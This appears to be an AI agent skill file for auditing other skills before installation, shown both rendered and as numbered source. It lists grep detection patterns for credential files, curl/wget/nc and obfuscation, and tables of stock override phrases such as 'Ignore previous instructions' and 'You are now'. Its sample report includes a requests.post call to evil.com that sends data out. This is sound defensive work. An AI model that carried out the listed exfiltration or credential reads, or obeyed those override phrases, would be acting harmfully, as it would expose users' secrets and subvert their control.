Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
Note: upstream documents a scripts/skill_security_auditor.py runner, but that script
is not bundled with this skill — only this SKILL.md and references/threat-model.md
ship. Run the audit directly with the greps below instead; the pattern tables in the rest
of this document are the actual substance, and Claude can apply them without the script.
Audit a skill directory before installing it:
TARGET=/path/to/skill-name
# 0. Inventory — what does this skill actually ship?
find "$TARGET" -type f | sed "s|$TARGET/||"
find "$TARGET" -type f \( -name '*.so' -o -name '*.dll' -o -name '*.exe' -o -name '*.bin' \) # unexpected binaries
find "$TARGET" -type l -exec ls -l {} \; # symlinks escaping the dir
# 1. Code execution (CRITICAL) — see the pattern tables below for the full list
grep -rnE "os\.system|os\.popen|subprocess.*shell\s*=\s*True|\beval\(|\bexec\(|__import__|pickle\.loads|yaml\.load\((?!.*SafeLoader)" "$TARGET"
# 2. Credential / exfiltration risk
grep -rnE "\.ssh|\.aws|\.netrc|id_rsa|API_KEY|SECRET|TOKEN|\.bashrc|\.zshrc|crontab" "$TARGET"
grep -rnE "curl |wget |requests\.(get|post)|urllib|httpx|socket\.|nc " "$TARGET"
# 3. Obfuscation
grep -rnE "base64\.b64decode|codecs\.decode|chr\([0-9]+\)|\\\\x[0-9a-f]{2}" "$TARGET"
# 4. Prompt injection in the skill's own markdown
grep -rnE "ignore (previous|all) instructions|disregard|you are now|<!--" "$TARGET" --include=*.md
python3 -c "import sys,pathlib
for p in pathlib.Path('$TARGET').rglob('*.md'):
t=p.read_text(encoding='utf-8',errors='replace')
bad=[c for c in t if c in '']
if bad: print(f'{p}: {len(bad)} zero-width chars')"
# 5. Dependency supply chain
grep -rnE "pip install|npm i |uv add|requirements\.txt|package\.json" "$TARGET"
Then read the findings against the severity tables below and assign PASS / WARN / FAIL.
Treat any CRITICAL hit as FAIL unless you can read the surrounding code and prove it benign.
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category |
Patterns Detected |
Severity |
| Command injection |
os.system(), os.popen(), subprocess.call(shell=True), backtick execution |
🔴 CRITICAL |
| Code execution |
eval(), exec(), compile(), __import__() |
🔴 CRITICAL |
| Obfuscation |
base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains |
🔴 CRITICAL |
| Network exfiltration |
requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 CRITICAL |
| Credential harvesting |
reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns |
🔴 CRITICAL |
| File system abuse |
writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation |
🟡 HIGH |
| Privilege escalation |
sudo, chmod 777, setuid, cron manipulation |
🔴 CRITICAL |
| Unsafe deserialization |
pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
🟡 HIGH |
| Subprocess (safe) |
subprocess.run() with list args, no shell |
⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern |
Example |
Severity |
| System prompt override |
"Ignore previous instructions", "You are now..." |
🔴 CRITICAL |
| Role hijacking |
"Act as root", "Pretend you have no restrictions" |
🔴 CRITICAL |
| Safety bypass |
"Skip safety checks", "Disable content filtering" |
🔴 CRITICAL |
| Hidden instructions |
Zero-width characters, HTML comments with directives |
🟡 HIGH |
| Excessive permissions |
"Run any command", "Full filesystem access" |
🟡 HIGH |
| Data extraction |
"Send contents of", "Upload file to", "POST to" |
🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check |
What It Does |
Severity |
| Known vulnerabilities |
Cross-reference with PyPI/npm advisory databases |
🔴 CRITICAL |
| Typosquatting |
Flag packages similar to popular ones (e.g., reqeusts) |
🟡 HIGH |
| Unpinned versions |
Flag requests>=2.0 vs requests==2.31.0 |
⚪ INFO |
| Install commands in code |
pip install or npm install inside scripts |
🟡 HIGH |
| Suspicious packages |
Low download count, recent creation, single maintainer |
⚪ INFO |
4. File System & Structure
| Check |
What It Does |
Severity |
| Boundary violation |
Scripts referencing paths outside skill directory |
🟡 HIGH |
| Hidden files |
.env, dotfiles that shouldn't be in a skill |
🟡 HIGH |
| Binary files |
Unexpected executables, .so, .dll, .exe |
🔴 CRITICAL |
| Large files |
Files >1MB that could hide payloads |
⚪ INFO |
| Symlinks |
Symbolic links pointing outside skill directory |
🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
1---2name: skill-security-auditor3description: Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".4---56# Skill Security Auditor78Scan and audit AI agent skills for security risks before installation. Produces a9clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.1011## Quick Start1213> **Note:** upstream documents a `scripts/skill_security_auditor.py` runner, but that script14> is **not bundled** with this skill — only this SKILL.md and `references/threat-model.md`15> ship. Run the audit directly with the greps below instead; the pattern tables in the rest16> of this document are the actual substance, and Claude can apply them without the script.1718Audit a skill directory before installing it:1920```bash21TARGET=/path/to/skill-name2223# 0. Inventory — what does this skill actually ship?24find "$TARGET" -type f | sed "s|$TARGET/||"25find "$TARGET" -type f \( -name '*.so' -o -name '*.dll' -o -name '*.exe' -o -name '*.bin' \) # unexpected binaries26find "$TARGET" -type l -exec ls -l {} \; # symlinks escaping the dir2728# 1. Code execution (CRITICAL) — see the pattern tables below for the full list29grep -rnE "os\.system|os\.popen|subprocess.*shell\s*=\s*True|\beval\(|\bexec\(|__import__|pickle\.loads|yaml\.load\((?!.*SafeLoader)" "$TARGET"3031# 2. Credential / exfiltration risk32grep -rnE "\.ssh|\.aws|\.netrc|id_rsa|API_KEY|SECRET|TOKEN|\.bashrc|\.zshrc|crontab" "$TARGET"33grep -rnE "curl |wget |requests\.(get|post)|urllib|httpx|socket\.|nc " "$TARGET"3435# 3. Obfuscation36grep -rnE "base64\.b64decode|codecs\.decode|chr\([0-9]+\)|\\\\x[0-9a-f]{2}" "$TARGET"3738# 4. Prompt injection in the skill's own markdown39grep -rnE "ignore (previous|all) instructions|disregard|you are now|<!--" "$TARGET" --include=*.md40python3 -c "import sys,pathlib41for p in pathlib.Path('$TARGET').rglob('*.md'):42 t=p.read_text(encoding='utf-8',errors='replace')43 bad=[c for c in t if c in '']44 if bad: print(f'{p}: {len(bad)} zero-width chars')"4546# 5. Dependency supply chain47grep -rnE "pip install|npm i |uv add|requirements\.txt|package\.json" "$TARGET"48```4950Then read the findings against the severity tables below and assign **PASS / WARN / FAIL**.51Treat any CRITICAL hit as FAIL unless you can read the surrounding code and prove it benign.5253## What Gets Scanned5455### 1. Code Execution Risks (Python/Bash Scripts)5657Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:5859| Category | Patterns Detected | Severity |60|----------|-------------------|----------|61| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |62| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |63| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |64| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |65| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |66| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |67| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |68| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |69| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |7071### 2. Prompt Injection in SKILL.md7273Scans SKILL.md and all `.md` reference files for:7475| Pattern | Example | Severity |76|---------|---------|----------|77| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->78| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->79| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->80| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |81| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |82| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->8384### 3. Dependency Supply Chain8586For skills with `requirements.txt`, `package.json`, or inline `pip install`:8788| Check | What It Does | Severity |89|-------|-------------|----------|90| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |91| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |92| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |93| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |94| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |9596### 4. File System & Structure9798| Check | What It Does | Severity |99|-------|-------------|----------|100| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |101| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |102| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |103| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |104| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |105106## Audit Workflow1071081. **Run the scanner** on the skill directory or repo URL1092. **Review the report** — findings grouped by severity1103. **Verdict interpretation:**111 - **✅ PASS** — No critical or high findings. Safe to install.112 - **⚠️ WARN** — High/medium findings detected. Review manually before installing.113 - **❌ FAIL** — Critical findings. Do NOT install without remediation.1144. **Remediation** — each finding includes specific fix guidance115116## Reading the Report117118```119╔══════════════════════════════════════════════╗120║ SKILL SECURITY AUDIT REPORT ║121║ Skill: example-skill ║122║ Verdict: ❌ FAIL ║123╠══════════════════════════════════════════════╣124║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║125╚══════════════════════════════════════════════╝126127🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42128 Pattern: eval(user_input)129 Risk: Arbitrary code execution from untrusted input130 Fix: Replace eval() with ast.literal_eval() or explicit parsing131132🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88133 Pattern: requests.post("https://evil.com/collect", data=results)134 Risk: Data exfiltration to external server135 Fix: Remove outbound network calls or verify destination is trusted136137🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15138 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->139 Risk: Reads SSH private key outside skill scope140 Fix: Remove filesystem access outside skill directory141142⚪ INFO [DEPS-UNPIN] requirements.txt:3143 Pattern: requests>=2.0144 Risk: Unpinned dependency may introduce vulnerabilities145 Fix: Pin to specific version: requests==2.31.0146```147148## Advanced Usage149150### Audit a Skill from Git Before Cloning151152```bash153# Clone to temp dir, audit, then clean up154python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup155```156157### CI/CD Integration158159```yaml160# GitHub Actions step161- name: "audit-skill-security"162 run: |163 python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json164 if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi165```166167### Batch Audit168169```bash170# Audit all skills in a directory171for skill in skills/*/; do172 python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl173done174```175176## Threat Model Reference177178For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).179180## Limitations181182- Cannot detect logic bombs or time-delayed payloads with certainty183- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it184- Network destination reputation checks require internet access185- Does not execute code — static analysis only (safe but less complete than dynamic analysis)186- Dependency vulnerability checks use local pattern matching, not live CVE databases187188When in doubt after an audit, **don't install**. Ask the skill author for clarification.